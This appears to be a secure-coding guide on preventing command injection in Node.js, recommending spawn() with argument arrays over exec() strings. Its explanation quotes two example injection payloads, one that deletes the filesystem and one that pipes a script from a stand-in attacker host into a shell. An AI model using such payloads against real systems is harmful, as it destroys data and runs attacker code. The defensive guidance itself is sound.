Command injection prevention

Command injection (CWE-78, OWASP A03 Injection) occurs when user-controlled data is passed to exec() or execSync() as part of a shell command string. The shell interprets semicolons, pipes, backticks, and subshell syntax — an attacker can append ; rm -rf / or ; curl attacker.com | sh. NIST 800-53 SI-10 requires input validation before shell execution. Image processors, PDF converters, and video transcoders are common vectors because they wrap command-line tools. The fix is categorical: use spawn() with an argument array (which bypasses the shell entirely) rather than exec() with a string.

Replace exec() string calls with spawn() argument arrays — this completely prevents shell interpretation of user data:

import { spawn } from 'child_process'

// Unsafe — shell interprets the full string:
// exec(`convert ${userFilename} -resize 800x output.jpg`)

// Safe — arguments passed as array, no shell:
const proc = spawn('convert', [userFilename, '-resize', '800x', 'output.jpg'], {
  stdio: ['ignore', 'pipe', 'pipe'],
  timeout: 30_000,
})

await new Promise<void>((resolve, reject) => {
  proc.on('close', code => code === 0 ? resolve() : reject(new Error(`convert exited ${code}`)))
})

If the third-party library forces exec, sanitize with shell-quote before passing user input. Prefer managed API services (Cloudinary, AWS Lambda) for media processing to eliminate shell execution entirely.